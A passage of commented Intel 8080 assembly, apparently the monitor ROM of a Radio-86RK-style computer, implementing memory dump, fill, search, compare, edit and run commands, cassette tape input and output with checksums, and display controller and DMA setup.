еще что то есть, то ошибка ;---------------------------------------------------------------------------- ; Обработка строки с hex числом (параметром) на которую указывает DE. ; Результат в HL. ; Признак C =0 если параметр был ; C =1 если его не было ;---------------------------------------------------------------------------- str_to_parametr: lxi h,0 ; Для начала параметр = 0 next_char: ldax d ; Получить символ из строки inx d ; и перейти к следующему cpi 0Dh ; Если [ВК], то выход jz idle_exit ; без изменений cpi ',' ; Если запятая, то rz ; просто выход cpi ' ' ; Пробел в параметрах jz next_char ; игнорируется sui '0' ; Получаем из кода символа цифру, jm fail_exit ; если код < 30h, то ошибка cpi 0Ah ; Если цифра < 10, jm add_char ; число готово cpi 11h ; Если код < 41h (A), jm fail_exit ; то ошибка, cpi 17h ; или > 47h (F), jp fail_exit ; тоже ошибка. sui 7 ; корректируем цифры A - F ; Добавляем очередную цифру в число add_char: mov c,a ; Новую цифру помещаем в C dad h ; число x 16 dad h dad h dad h jc fail_exit ; Если много цифр, то ошибка dad b ; прибавляем очередную цифру jmp next_char ; переходим к следующей ; Выход без признака редактирования idle_exit: stc ; Признак без изменений ret ;---------------------------------------------------------------------------- ; Сравнение регистровых пар HL и DE ; Если их содержимое равно, то устанавливается флаг Z ;---------------------------------------------------------------------------- cmp_hl_de: mov a,h cmp d rnz mov a,l cmp e ret ;---------------------------------------------------------------------------- ; Проверка на окончание адреса + сканирование на нажатие [F4]. ;---------------------------------------------------------------------------- end_of_adr_or_F4: call press_F4 ; Проверка на F4 ;---------------------------------------------------------------------------- ; Подпрограмма инкремента текущего адреса. ; С начала происходит сравнение текущего адреса в HL с конечным в BC. ; Если они не равны, то инкримент HL и выход. ; Если равны, то перейти к предыдущиму адресу возврата ;---------------------------------------------------------------------------- cmp_hl_de_loop: call cmp_hl_de ; Сравниваем HL и DE jnz end_of_oper pre_adr_return: inx sp ; Удаляем текущий адрес возврата inx sp ; и переходим к предыдущему ret end_of_oper: inx h ; Переходим к следующему адресу ret ;---------------------------------------------------------------------------- ; Проверка на команду стоп. ; Подпрограмма применяется для выхода из затянувшейся по времени команды. ; Так же можно использовать для приостановки вывода на экран удержание ; клавиши [РУС/ЛАТ], поскольку она срабатывает при отпускании. ; Если клавиша [F4] не нажата, происходит просто выход из подпрограммы. ; Если нажата, то выход на промт с выдачей знака вопроса. ;---------------------------------------------------------------------------- press_F4: call entry_scan_kbd ; Получить код нажатой клавиши cpi 3 ; Это клавиша [F4]? rnz ; Если нет, то удачно выходим call entry_video ; Если да, то восстанавливаем ; видео, jmp fail_exit ; и выходим на промт со знаком ; вопроса. ;---------------------------------------------------------------------------- ; Переход на новую строку с отступом. ; Подпрограмма перехода на новую строку с отступом для вывода адреса ;---------------------------------------------------------------------------- next_line_and_offset: push h lxi h,offset_ call entry_puts pop h ret ;---------------------------------------------------------------------------- ; Вывод байта на который указывает HL на экран в виде hex числа + пробел ;---------------------------------------------------------------------------- hexb_m_and_space: mov a,m ; Выдать байт в виде hex числа + пробел hex_byte_and_space: push b call entry_hexb mvi a,' ' call putc_fromA pop b ret ;---------------------------------------------------------------------------- ; Выполнение команды D Монитора. ; Выдача на экран дампа в шестнадцатиричных кодах ; В каждой строке выдается по 16 байт памяти ; В начале выдается адрес первой ячейки в строке в виде 4-х ; шестнадцатиричных цифр. Потом выдается содержимое первой ячейки ; в виде 2-х шестнадцатиричных цифр, потом второй и т.д. ; до 16 включительно. Потом выводятся следующие 16 ячеек тем же способом ; и так до конечного адреса. ; Адреса первой ячейки строки округляются до 0 в последней цифре адреса. ;---------------------------------------------------------------------------- run_D_command: call type_addr_from_HL D_command_loop: call hexb_m_and_space call end_of_adr_or_F4 mov a,l ani 0Fh jz run_D_command jmp D_command_loop ;---------------------------------------------------------------------------- ; Выполнение команды C Монитора. ; Происходит последовательное сравнение батов начиная с ячейки обозначенной ; первым параметром и ячейки с адресом обозначенной третим параметром, ; потом оба адреса увеличиваются на 1 и сравнение опять продолжается, пока первый ; адрес не превысит второй параметр. После этого выполнение команды прекращается. ; На экран выводится только ячейки с разным содержимым. С начала строки ; выводится первый адрес сравнения, потом содержимое по первому адресу, ; потом содержимое по второму адресу. ; ;---------------------------------------------------------------------------- run_C_command: ldax b ; Получить байт из второго адреса в A cmp m ; Сравнить с байтом из первого адреса jz byte_equal ; Если равны, то перейти к следующему call type_addr_from_HL ; Иначе выдать адрес с новой строки call hexb_m_and_space ; ldax b call hex_byte_and_space byte_equal: inx b call end_of_adr_or_F4 jmp run_C_command ;---------------------------------------------------------------------------- ; Выполнение команды F Монитора. ; Происходит заполнение памяти байтами из третьего параметра, ; начиная с области указанной первым параметром до адреса ; указанного во втором параметре ; ;---------------------------------------------------------------------------- run_F_command: mov m,c call cmp_hl_de_loop jmp run_F_command ;---------------------------------------------------------------------------- ; Выполнение команды S Монитора. ; Выполняется поиск в области памяти начиная с адреса в первом параметре ; и по адрес заданный во втором параметре. Ведется поиск байта из третьего ; параметра. На экран выводятся адреса ячеек в которых содержится искомый ; байт. Каждый адрес выводится с новой строки ;---------------------------------------------------------------------------- run_S_command: mov a,c ; получить шаблон в A cmp m cz type_addr_from_HL ; вывести адрес call end_of_adr_or_F4 jmp run_S_command ;---------------------------------------------------------------------------- ; Выполнение команды T Монитора. ; Выполняется последовательная пересылка байтов с адреса указанного ; в первом параметре в ячейку указанную в третьем параметре. Потом ; оба адреса увеличиваются на 1. Пересылка продолжается пока первый ; адрес достигнет указанного во втором параметре ;---------------------------------------------------------------------------- run_T_command: mov a,m ; переслать очередной stax b ; байт inx b call cmp_hl_de_loop ; проверить на конец jmp run_T_command ;---------------------------------------------------------------------------- ; Выполнение команды L Монитора. ; Вывод на экран содержимого памяти в символьном виде. ; В начале строки выводится адрес первой ячейки, потом последовательно ; содержимое 16 ячеек памяти в виде символов. Непечатные символы ; заменяются точками. ;---------------------------------------------------------------------------- run_L_command: call type_addr_from_HL ; Выводим на экран адрес с ; новой строки с отступом. next_literal: mov a,m ; Поместить байт в A. ora a ; Если байт больше 7Fh jm type_dot ; то выдать точку. cpi ' ' ; Символы с кодом < 20h jnc type_literal ; управляющие, вместо них ; тоже выводим точку. type_dot: mvi a,'.' ; Загрузить в A код точки type_literal: call putc_fromA ; Выдать код на экран. call end_of_adr_or_F4 mov a,l ani 0Fh jz run_L_command jmp next_literal ;---------------------------------------------------------------------------- ; Выполнение команды M Монитора. ; На экран с новой строки выводится адрес и содержимое ячейки памяти ; указанной в первом параметре. Остальные два параметра игнорируются. ; Ожидается ввод двух шестнадцатиричных цифр нового содержимого ячейки. ; Если ничего менять не нужно нажимаем [ВК]. Выдается адрес следующей ячейки ; и т.д. Если нужно выйти из команды, необходимо нажать клавишу [.]. ; Если ввести неверную цифру произойдет немедленный выход из команды ;---------------------------------------------------------------------------- run_M_command: call type_addr_from_HL ; Выдать адрес с новой строки. call hexb_m_and_space ; Выдать содержимое ячейки. push h call input_string ; Вводим новое значение. pop h jnc next_addr push h ; Если новое значение введено, call str_to_parametr ; получаем его в HL, mov a,l ; потом в A pop h mov m,a ; и заменяем значение. next_addr: inx h ; Прейти к следующему jmp run_M_command ; адресу. ;---------------------------------------------------------------------------- ; Выполнение команды G Монитора. ; Команда предназначена для запуска и отладки программ. ; В качестве первого параметра задается адрес старта программы, ; по которому и передается управление. Второй параметр это ; адрес останова программы. После останова программы управление ; передается на "горячий" старт Монитора (prompt_loop). ;---------------------------------------------------------------------------- ; Работа команды различается в зависимости от того, введен адрес ; останова или нет. Если не введен, регистры общего назначения ; заполняются из служебных ячеек (доступных по команде X) и ; управление передается по введенному адресу (первый параметр). ; Если же адрес останова введен (второй параметр), то по этому адресу ; записывается команда процессора RST 6, которая делает вызов ; подпрограммы по адресу 0030h. А здесь записывается команда ; процессора JMP return_address. Программа записанная начиная с ; этого адреса (см. ниже) сохраняет регистры в служебных ячейках ; Монитора (доступных по команде X) и выдав на экран адрес останова ; переходит на "горячий" старт Монитора (prompt_loop). run_G_command: call cmp_hl_de ; Был ли введен адрес останова? jz no_stop_addr ; если нет, то перейти ; Настройка механизма останова программы через адрес 0030h xchg ; Адрес останова в HL shld stop_addr ; Сохранить его в служебной ячейке mov a,m ; Получить байт по адресу останова sta byte_in_stop_adr ; Сохранить его на время работы программы mvi m,0F7h ; Поместить команду RST 6 по адресу останова mvi a,0C3h ; Поместить команду JMP sta RST_6_addr ; по адресу 0030h lxi h,return_address ; Сохранить адрес возврата shld RST_6_addr+1 ; для этой команды ; Загрузка регистров из служебных ячеек Монитора. ; Запуск программы происходит через "крючек" JMP (jump_to_go) в служебных ячейках Монитора no_stop_addr: lxi sp,BC_storage ; Загружаем регистры pop b ; через указатель pop d ; стека pop h ; SP загружается через HL pop psw sphl ; Загружаем SP lhld HL_storage ; Загружаем HL jmp jump_to_go ; Запускаем программу ;---------------------------------------------------------------------------- ; Выполнение команды R Монитора. ; Загрузка блока информации из ПЗУ подключенного к дополнительному ППА D14. ; Шина данных подключена к порту A. Шина адреса подключена к портам B и C. ; Загрузка в ОЗУ усуществляется начиная с адреса указанного в первом ; параметре, по адрес указанный во втором параметре. Третий параметр ; указывает начальный адрес в ПЗУ. ;---------------------------------------------------------------------------- run_R_command: mvi a,90h ; Настроить ППА D14 sta contr_reg_D14 ; порт A на ввод, B,C на вывод. read_loop: shld port_B_D14 ; Выдать текущий адрес ПЗУ. lda port_A_D14 ; Прочитать байт в A. stax b ; Сохранить его по адресу в ОЗУ. inx b ; Перейти к след. адресу ОЗУ call cmp_hl_de_loop ; Проверка на конец. jmp read_loop ; Если не конец, то продолжить. ;---------------------------------------------------------------------------- ; Получить координаты курсора в HL ;---------------------------------------------------------------------------- entry_getxy: lhld cursor_xy ; Берем эти данные из ret ; специальной ячейки ;---------------------------------------------------------------------------- ; Получить байт (символ) с экрана по адресу курсора в A. ; В аккумулятор помещается байт с адреса ОЗУ экрана, на который указывает ; курсор. ;---------------------------------------------------------------------------- entry_curc: push h ; Адрес экранного байта, на lhld cursor_addr ; который указывает курсор mov a,m ; хранится в специальной pop h ; служебной ячейке ret ;---------------------------------------------------------------------------- ; Выполнение команды I Монитора. ; Выполняется загрузка блока данных с магнитофона. В первом параметре ; смещение относительно начального адреса записанного на ленте. ; В качестве второго параметра можно указать константу чтения. ;---------------------------------------------------------------------------- run_I_command: lda two_par_present ; Ввести код новой константы ora a ; чтения. jz no_change_cr ; Если 0, то ничего не меняем. mov a,e ; Если не 0, то заменить sta read_const_mag ; константу чтения. no_change_cr: call entry_inpblock ; Читаем блок с магнитофона call type_addr_from_HL ; Выводим адрес начала xchg call type_addr_from_HL ; Выводим адрес конца из DE xchg push b call entry_chksum ; Считаем контрольную сумму mov h,b ; Помещаем ее в HL mov l,c call type_addr_from_HL ; Выводим на экран правильную КС pop d ; Получаем считанную в DE call cmp_hl_de ; Сравниваем считанную с вычислинной rz ; Если равны, то выход, xchg ; если не равны, выводим call type_addr_from_HL ; еще и считанную ; и выдаем знак вопроса, ; что значит ошибку. ;---------------------------------------------------------------------------- ; Выход из команды с ошибкой fail_exit: mvi a,'?' ; Выдать на экран call putc_fromA ; знак вопроса jmp prompt_loop ; и выйти на промт ;---------------------------------------------------------------------------- ; Ввод блока данных с магнитофона. ; Входные данные : HL - смещение ; Выходные данные : HL - адрес начала ; DE - адрес конца ; BC - считанная контрольная сумма блока ; Подпрограмма выполняет ввод блока данных, сформированный директивой ; 'O' Монитора. Блок имеет следующую структуру: ; - раккорд ; - синхробайт ; - начальный адрес ; - конечный адрес ; - собственно данные (N байт) ; - раккорд ; - синхробайт ; - контрольная сумма 2 байта ; Адреса и контрольная сумма записываются старшими байтами вперед. ;---------------------------------------------------------------------------- entry_inpblock: mvi a,0FFh ; признак поиска синхробайта call input_W_BC ; вводим начальный адрес в BC push h dad b ; суммируем его ; со смещением и помещаем в xchg ; DE call input_W_BC_nosinc ; читаем конечный адрес pop h ; суммируем его dad b ; со смещением xchg ; меняем адреса местами push h ; сохраняем начальный адрес в стеке call input_array ; вводим массив данных mvi a,0FFh ; признак поиска синхробайта call input_W_BC ; вводим контрольную сумму в BC pop h ; восстанавливаем начальный адрес ;---------------------------------------------------------------------------- ; Настройка отображения на экране ;---------------------------------------------------------------------------- entry_video: push h ; Настраеваем контроллер ЭЛТ ВГ75 lxi h,control_VG75 ; Адрес регистра управления в HL mvi m,0 ; Подать команду Reset dcx h ; Передать параметры: mvi m,78-1 ; 78 символов в строке, mvi m,30-1 ; 30 знакорядов в кадре, ; Задаем высоту символа: 10 строк ; Высота линии подчеркивания 10 строк (1 и последняя линии символа затемняются) mvi m,((10-1).shl.4)^(10-1) ; Задаем режим отображения: 0 - без сдига номеров строк ; Атрибуты поля: не прозрачные ; Тип курсора: мигающее подчеркивание ; Количество символов в строчном синхроимпульсе: 8 интервалов (6 мкс) mvi m,(1.shl.7)^(1.shl.4)^((8/2)-1) ; Подаем команду начать отображение со следующими параметрами: ; Интервал между запросами ПДП: 7 символов ; Количество байт в пакете ПДП: 8 inx h mvi m,(1.shl.5)^(((7+1)/8).shl.2)^(3) mov a,m ; (?) ; Теперь необходимо засинхронизироваться с началом кадра. ; Для этого используем регистр статуса ВГ75 ; Бит IR статусного регистра устанавливается после начала последнего знакоряда в кадре. ; Как раз в это время и нужно загружать данные первого знакоряда на экране wait_beg_of_frame: mov a,m ; читаем статусный регистр ВГ75 ani 20h ; Проверяем флаг IR jz wait_beg_of_frame ; Если сброшен, ждем начала кадра ; Если флаг IR установлен, то достигнут конец кадра ; Настраеваем канал ПДП ВТ57 ; Для пересылки используется канал 2 в режиме чтения ОЗУ с автозагрузкой. ; Для автозагрузки используются регистры канала 3. ; После пересылки последнего байта экрана начальные данные ПДП (начальный ; адрес и количество байт пересылки) снова автоматически загружаются в регистры ; 2 канала и пересылка продолжается постоянно lxi h,mode_VT57 ; Сначала останавливаем ПДП mvi m,80h ; и включаем автозагрузку ; Настраеваем регистры 2 канала ПДП ; Задаем адрес начала пересылки: начало видео ОЗУ mvi l,<addr_ch2_VT57 mvi m,<vid_mem mvi m,>vid_mem ; Задаем количество байт пересылки ; и режим: запись в ОЗУ inr l mvi m,<(n_byte_of_vmem-1) mvi m,40h^>(n_byte_of_vmem-1) ; Запускаем ПДП со следующими параметрами: ; Включаем режим автозагрузки. ; Включить удлиненную запись. ; Разрешить работу канала 2. mvi l,<mode_VT57 mvi m,0A4h pop h ; Восстанавливаем HL ret ; и выходим ;---------------------------------------------------------------------------- ; Ввод 16-битного слова в BC с магнитофона ;---------------------------------------------------------------------------- input_W_BC_nosinc: ; устанавливаем признак mvi a,8 ; без поиска синхробайта ; Отсюда идет вызов с поиском синхробайта, ; но в A предварительно нужно занести 0FFh input_W_BC: call entry_inpb ; читаем старший байт mov b,a mvi a,8 call entry_inpb ; читаем младший байт mov c,a ret ;---------------------------------------------------------------------------- ; Чтение массива данных с магнитофона ; Входные данные: HL - начальный адрес массива, ; DE - конечный адрес массива. ;---------------------------------------------------------------------------- input_array: ; устанавливаем признак mvi a,8 ; без поиска синхробайта call entry_inpb ; читаем очередной байт mov m,a ; помещаем его в память call cmp_hl_de_loop ; инкремент HL и ; проверка на HL=DE ; если равны, то выход jmp input_array ; иначе продолжить ввод ;---------------------------------------------------------------------------- ; Подсчет контронльной суммы ; Входные данные: HL - начальный адрес массива, ; DE - конечный адрес массива. ; Выходные данные: BC - подсчитанная контрольная сумма ; Алгоритм расчета: ; Младший байт: сумма всех байтов без учета переноса. ; Старший байт: сумма всех байтов, кроме последнего + переносы ; из младшего байта ;---------------------------------------------------------------------------- entry_chksum: lxi b,0 ; Обнуляем заготовку под контрольную ; сумму checksum_loop: ; Обработка младшего байта mov a,m ; помещаем очередной байт в A add c ; прибавляем к предыдущим mov c,a ; и сохраняем в C push psw ; сохраняем признак переноса call cmp_hl_de ; это последний байт? jz pre_adr_return ; если да, то достаем psw и выходим pop psw ; восстанавливаем признак переноса ; Обработка старшего байта mov a,b ; помещаем его в A adc m ; суммируем с очередным ; байтом + перенос из младшего mov b,a ; сохраняем в B call cmp_hl_de_loop ; определяем последний байт ; если последний, то выход из п/п ; если не последний, то инкремент HL jmp checksum_loop ; и продолжить подсчет ;---------------------------------------------------------------------------- ; Выполнение команды O Монитора. ; Запись на магнитную ленту блока памяти, начаная с адреса указанного ; в первом параметре, по адрес указанный во втором параметре. В качестве ; третьего параметра можно указать новую константу записи. ;---------------------------------------------------------------------------- run_O_command: mov a,c ; Проверить был ли третий параметр ora a jz no_change_cw ; Если был, то сохранить его sta write_const_mag ; как новую константу записи no_change_cw: push h call entry_chksum ; Вычисляем контрольную сумму в BC pop h call type_addr_from_HL ; Выводим начальный адрес xchg call type_addr_from_HL ; Выводим конечный адрес xchg push h mov h,b ; Перенисим к.с. в HL mov l,c call type_addr_from_HL ; Выводим контрольную сумму pop h ; Возвращаем начальный адрес в HL ;---------------------------------------------------------------------------- ; Вывод блока данных на магнитную ленту ; Входные данные: HL - начальный адрес блока, ; DE - конечный адрес блока. ; BC - подсчитанная контрольная сумма ; Структура выводимого блока: ; - 256 байт (00) раккорда ; - синхробайт ; - начальный адрес блока ; - конечный адрес блока ; - собственно массив данных (N байт) ; - раккорд 2 байта 00 ; - синхробайт ; - контрольная сумма блока (2 байта) ;---------------------------------------------------------------------------- entry_outblock: push b ; сохраняем контрольную сумму lxi b,0 ; заготовка для вывода раккорда ; Выдача основного раккорда в 256 байт ; Раккорд определяется по характерному чистому тону в начале фонограммы raccord_loop: call entry_outb ; выводим очередной байт раккорда dcr b ; модифицируем счетчик байт раккорда xthl ; это холостые операции, вызывающие xthl ; задержку на 36 тактов ~20мкс jnz raccord_loop ; если не последний байт, то продолжить mvi c,sinc_byte ; Выдача синхробайта call entry_outb call out_addr_from_HL ; Выдача начального адреса блока xchg call out_addr_from_HL ; Выдача конечного адреса блока xchg call out_array_loop ; Выдача массима данных lxi h,0 call out_addr_from_HL ; Выдача раккорда из 2 байт 00 mvi c,sinc_byte call entry_outb ; Выдача синхробайта pop h ; Восстанавливаем контрольную сумму call out_addr_from_HL ; и выводим ее jmp entry_video ; Восстанавливаем регенерацию ; дисплея и выходим ;---------------------------------------------------------------------------- ; Выдача адреса с новой строки с отступом в 4 символа. ; Выводимый адрес в HL. ;---------------------------------------------------------------------------- type_addr_from_HL: push b call next_line_and_offset mov a,h call entry_hexb ; выдать старший байт mov a,l call hex_byte_and_space ; младший + пробел pop b ret ;---------------------------------------------------------------------------- ; Выдача массива байт на магнитофон ; Входные данные: HL - начальный адрес массива, ; DE - конечный адрес массива. ;---------------------------------------------------------------------------- out_array_loop: mov c,m ; Получить очередной байт call entry_outb ; Выдать его на магнитофон call cmp_hl_de_loop ; Проверить: HL=DE ; Если да, то выйти ; Если нет, то инкремент HL jmp out_array_loop ; и продолжить вывод ;---------------------------------------------------------------------------- ; Выдача 16 разрядного слова из HL на магнитофон ; Старший байт выводится первым. ;---------------------------------------------------------------------------- out_addr_from_HL: mov c,h call entry_outb ; Вывод старшего байта mov c,l jmp entry_outb ; Вывод младшего байта и выход ;---------------------------------------------------------------------------- ; Ввод байта данных с магнитофона ; Входные данные : A = 8 - (8- количество бит в байте) без синхробайта ; A = 80h - 0FFh - (отрицательное число) с поиском синхробайта ; Выходные данные : A - введенный байт ; Если ввод был с поиском синхробайта, то выдается байт, следующий ; непосредственно за синхробайтом. ; Обработка последнего бита укорачивается на 450 тактов, что бы предоставить ; время на обработку введенного байта, до обработки следующего. ;---------------------------------------------------------------------------- entry_inpb: push h ; Сохраняем контекст push b push d mov d,a ; Сохраняем признак синхробайта ; Отслеживаем изменение уровня на входе магнитофона в отсутствие сигнала lock_change: mvi a,80h ; Останавливаем отображение sta mode_VT57 ; на экране ; Здесь указатель стека SP используется не традиционно ; для регенерации ОЗУ. Его содержимое записывается в служебной ячейке, ; а в SP записывается 0000h. Далее мы периодически выполняя инструкцию ; POP PSW, выполняем регенерацию ОЗУ. lxi h,0 dad sp ; Сохраняем указатель стека lxi sp,0 ; в служебной ячейке shld temp_sp ; и обнуляем его mvi c,0 ; заготовка под вводимый байт lda port_C_kbd ; прочитать состояние порта C rrc rrc rrc rrc ; Сдвинуть d5 --> d0 ani 1 ; сбросить остальные биты mov e,a ; поместить результат в e ; Обработка очередного бита next_bit: pop psw ; регенерировать ОЗУ mov a,c ; сдвигаем заготовку ani 7Fh ; принимаемого байта влево rlc ; на 1 бит и обнуляем mov c,a ; бит d0 mvi h,0 ; счетчик попыток чтения уровня ; Цикл ожидания изменения уровня на входе C4 DD20 (вход с магнитофона) change_loop: dcr h ; подсчет попыток чтения jz if_not_change ; если это последняя, то обработать pop psw ; регенерировать ОЗУ lda port_C_kbd ; читаем состояние порта rrc rrc rrc rrc ; помещаем его в d0 ani 1 ; остальные сбрасываем cmp e ; уровень изменился ? jz change_loop ; если нет, ждем пока изменится ora c ; если да, то помещаем mov c,a ; очередной бит в заготовку dcr d ; это последний бит? lda read_const_mag ; читаем константу чтения jnz normal_const ; пропуск, если не последний бит sui 12h ; сократить константу normal_const: mov b,a ; подготовить счетчик задержки ; Цикл задержки чтения ; Задержка на один проход цикла 10+5+10=25 тактов ; что при тактовой частоте РК 16МГц составляет: Ft=16/9=1.7777МГц Tt=1/1.7777=0.56мкс ; T=25*0.56мкс=14мкс ; Для стандартной константы чтения Cr=2Ah=42 общая задержка составляет Tr=42*14мкс=591мкс или ~0.6мс ; Для последнего бита Tl=(2Ah-12h)*14мкс=336мкс read_delay_loop: pop psw ; регенерировать ОЗУ dcr b ; модифицировать счетчик задержки jnz read_delay_loop ; продолжить, если не конец inr d ; восстанавливаем счетчик бит lda port_C_kbd ; читаем состояние порта rrc rrc rrc rrc ; помещаем его в d0 ani 1 ; остальные сбрасываем mov e,a ; сохраняем введенный бит mov a,d ora a ; проверяем признак синхробайта jp next_bit_load ; если нет, то считаем биты ; Проверка на наличие синхробайта mov a,c ; берем введенный байт cpi sinc_byte ; это синхробайт? jnz invert_sinc ; проверим на инверсию xra a ; если инверсии нет, то sta data_sign ; устанавливаем полярность вх. сигнала jmp set_bit_count ; и устанавливаем счетчик бит invert_sinc: cpi \sinc_byte ; это инверсный синхробайт? jnz next_bit ; если, то ищем дальше синхробайт mvi a,0FFh sta data_sign ; устанавливаем инверсию вх. сигнала ; После получения синхробайта вводим еще и байт данных set_bit_count: mvi d,8+1 ; Устанавливаем количество бит для ввода next_bit_load: dcr d ; Подсчет бит, если ввод без синхробайта jnz next_bit ; если не последний бит, продолжаем ввод ; Ввод байта данных закончен ; Восстанавливаем отображение на экране ; Задаем адрес начала видео ОЗУ для канала 2 ПДП lxi h,addr_ch2_VT57 mvi m,<vid_mem mvi m,>vid_mem inx h ; Задаем количество байт пересылки mvi m,<(n_byte_of_vmem-1) mvi m,40h^>(n_byte_of_vmem-1) ; Начать отображение с параметрами ПДП 8 байт в пакете 7 интервалов между пакетами mvi a,27h sta control_VG75 ; Подать команду установить счетчики (?) mvi a,0E0h sta control_VG75 ; Начать отображение mvi l,<mode_VT57 mvi m,0A4h lhld temp_sp ; Восстановить sphl ; указатель стека lda data_sign ; выдаем байт данных в a xra c ; в соответствии с полярностью сигнала jmp comm_exit ; восстанавливаем контекст и выходим ; Обработка ситуации, когда на входе нет сигнала (уровень не меняется) if_not_change: lhld temp_sp sphl ; восстанавливаем стек call entry_video ; восстанавливаем отображение видео mov a,d ora a ; нужно ли ожидать синхробайт ? jp fail_exit ; если нет, то ошибка call press_F4 ; проверяем на нажатие F4 jmp lock_change ; продолжаем искать смену уровня ;---------------------------------------------------------------------------- ; Выдача байта из C на магнитофон. ; Входные данные: C - выводимый байт ; Информация выводится последовательно начиная со старшего бита ; на вывод C0 D20 (Выход на магнитофон). ; Паралельно с выводом на C0, информация в неинвертированном виде выдается ; и на выводы C1-C3. К выводу C3 подключен светодиод РУС/ЛАТ, следовательно он ; будет светится при выводе битов 1 на магнитофон ;---------------------------------------------------------------------------- entry_outb: push h ; сохраняем контекст процессора push b push d push psw mvi a,80h ; останавливаем вывод на экран sta mode_VT57 ; Здесь указатель стека SP используется не традиционно ; для регенерации ОЗУ. Его содержимое сохраняется в HL, ; а в SP записывается 0000h. Далее мы периодически выполняя инструкцию ; POP PSW, выполняем регенерацию ОЗУ. lxi h,0 dad sp lxi sp,0 mvi d,8 ; инициализируем счетчик бит ; Выдача первого (инвертированного) периода бита out_next_bite: pop psw ; регенерировать ОЗУ mov a,c ; помещаем выводимый байт в A rlc ; переносим очередной бит в d0 mov c,a ; сохраняем сдвинутый выводимый байт mvi a,1 ; заготовка для инверсии бита d0 xra c ; инвертировать выводимый бит sta port_C_kbd ; выдать бит на магнитофон lda write_const_mag ; ввести константу записи mov b,a ; поместить ее в B ; Цикл задержки вывода инвертированного периода бита ; Задержка на один проход цикла 10+5+10=25 тактов ; что при тактовой частоте РК 16МГц составляет: Ft=16/9=1.7777МГц Tt=1/1.7777=0.56мкс ; T=25*0.56мкс=14мкс ; Для стандартной константы записи Cw=1Dh=29 общая задержка составляет Tr=29*14мкс=406мкс или ~0.4мс ; Эта задержка составляет половину периода вывода бита, значит период ~=0.8мкс ; Частота колебаний при выводе однородных бит (00000... или 11111...) составляет 1.2кГц ; При выводе чередующихся бит (0101010101....) частота в 2 раз ниже ~600Гц. ; При выводе случайной последовательности бит выдается шумоподобный сигнал, ; при этом спектр распределяется между этими двумя частотами. out_bite_loop1: pop psw ; регенерировать ОЗУ dcr b ; модифицировать счетчик задержки jnz out_bite_loop1 ; продолжить если не конец ; Выдача второго (прямого) периода бита mvi a,0 ; маска без инверсии xra c ; получить выводимый бит sta port_C_kbd ; выдать его на магнитофон dcr d ; модифицировать счетчик бит lda write_const_mag ; получить константу записи jnz its_notlast ; если это последний бит sui 0Eh ; то уменьшить константу на 15 its_notlast: mov b,a ; поместить ее в B ; Цикл задержки вывода прямого периода бита out_bite_loop2: pop psw ; регенерировать ОЗУ dcr b ; модифицировать счетчик задержки jnz out_bite_loop2 ; продолжить если не конец inr d ; проверить на dcr d ; последний бит jnz out_next_bite ; если не последний, то продолжить ; Окончание вывода байта sphl ; восстанавливаем указатель стека ; Восстанавливаем вывод изображения на экран ; Задаем адрес начала видео ОЗУ для канала 2 ПДП lxi h,addr_ch2_VT57 mvi m,<vid_mem mvi m,>vid_mem ; Задаем количество байт пересылки inx h mvi m,<(n_byte_of_vmem-1) mvi m,40h^>(n_byte_of_vmem-1) ; Начать отображение с параметрами ПДП 8 байт в пакете и 7 интервалов между пакетами mvi a,27h sta control_VG75 ; Подать команду установить счетчики (?) mvi a,0E0h sta control_VG75 ; Начать отображение mvi l,<mode_VT57 mvi m,0A4h pop psw ; регенерировать ОЗУ ; Выход с восстановлением регистров из стека ; Используется для экономии места двумя подпрограммами. comm_exit: pop d pop b pop h ret ;---------------------------------------------------------------------------- ; Вывод на экран байта в шестнадцатиричной форме из A ;---------------------------------------------------------------------------- entry_hexb: push psw ; Сохраняем байт в стеке rrc ; Берем старшую тетраду rrc rrc rrc call hexb_tetr ; выводим на экран pop psw ; восстанавливаем байт ; Выдача на экран тетрады в виде шестнадцатиричной цифры hexb_tetr: ani 0Fh ; выделяем только младшую тетраду cpi 10 ; число > 10 ? jm hexb_make_sym adi 7 ; если да, то отнимаем 7 ; чтобы выйти на символы A - F hexb_make_sym: adi 30h ; Преобразуем число в соответствующий ; ему символ и выводим на экран. ; Вывод символа из A putc_fromA: mov c,a ; Просто переносим символ в C. ;---------------------------------------------------------------------------- ; Вывод символа на экран из регистра C. ; Входные данные: C - выводимый байт ;---------------------------------------------------------------------------- entry_putc: push psw ; Сохраняем контекст push b ; процессора push d push h ; Следующая команда используется для приостановки или прерывания вывода на экран ; Для приостановки необходимо удерживать клавишу [РУС/ЛАТ]. ; Для прерывания нужно нажать клавишу [F4]. call entry_kbhit ; Ждем отпускания клавиши РУС/ЛАТ ; Вводим адрес сохранения перед выходом в стеке ; Этот фрагмент кода (mov_cur_and_exit) необходим для сохранения параметров ; курсора в служебных ячейках Монитора перед выходом из подпрограммы. ; Такое сохранение необходимо при любом выходе из этой подпрограммы. lxi h,mov_cur_and_exit push h lhld cursor_xy ; координаты курсора xchg ; в DE lhld cursor_addr ; HL - адрес вывода на экран, куда ; указывает курсор ; Проверяем: передается ли последовательность АР2 для смещения курсора? lda AR2_seq ; Читаем признак АР2 последовательности dcr a ; Установить признаки jm AR2_no ; АР2 не используется - признак 0 jz AR2_b1 ; Передается 1 байт ("Y") - признак 1 jpo AR2_b2 ; Передается 2 байт смещение по Y - признак 2 ;---------------------------------------------------------------------------- ; Обработка 3 байта в АР2 посследовательности ; Здесь передается смещение курсора по горизонтали X + 20h mov a,c ; Получаем из параметра sui 20h ; действительное значение mov c,a ; смещения по X ; Цикл смещения вправо AR2_move_X_loop: dcr c ; Модифицировать счетчик jm idle_seq ; Если все, то выход push b ; Сохранить BC call move_to_right ; Переместится на одну позицию вправо pop b ; Восстановить BC jmp AR2_move_X_loop ; Сброс АР2 последовательности idle_seq: xra a ; Снять признак АР2 последовательности update_and_exit: sta AR2_seq ; Обновить признак АР2 последовательности ret ; и выйти ;---------------------------------------------------------------------------- ; Последовательность АР2 исключена, проверяем служебные символы AR2_no: mov a,c ; сбросить старший байт ani 7Fh ; символа mov c,a ; Обработка управляющих символов дисплея cpi 1Fh ; Это код символа СТР? jz init_display ; если да, то обработать cpi 0Ch ; Это символ "курсор в начало экрана"? jz cursor_to_0_0 ; Если да, то обработать cpi 0Dh ; Это символ ВК (возврат каретки)? jz run_BK ; Если да, то обработать cpi 0Ah ; Это символ ПС (перевод строки)? jz run_PS ; Если да, то обработать cpi 8 ; Это символ "<-"? jz move_to_left ; Если да, то обработать cpi 18h ; Это символ "->"? jz move_to_right ; Если да, то обработать cpi 19h ; Это символ "стрелка вверх"? jz move_up ; Если да, то обработать cpi 1Ah ; 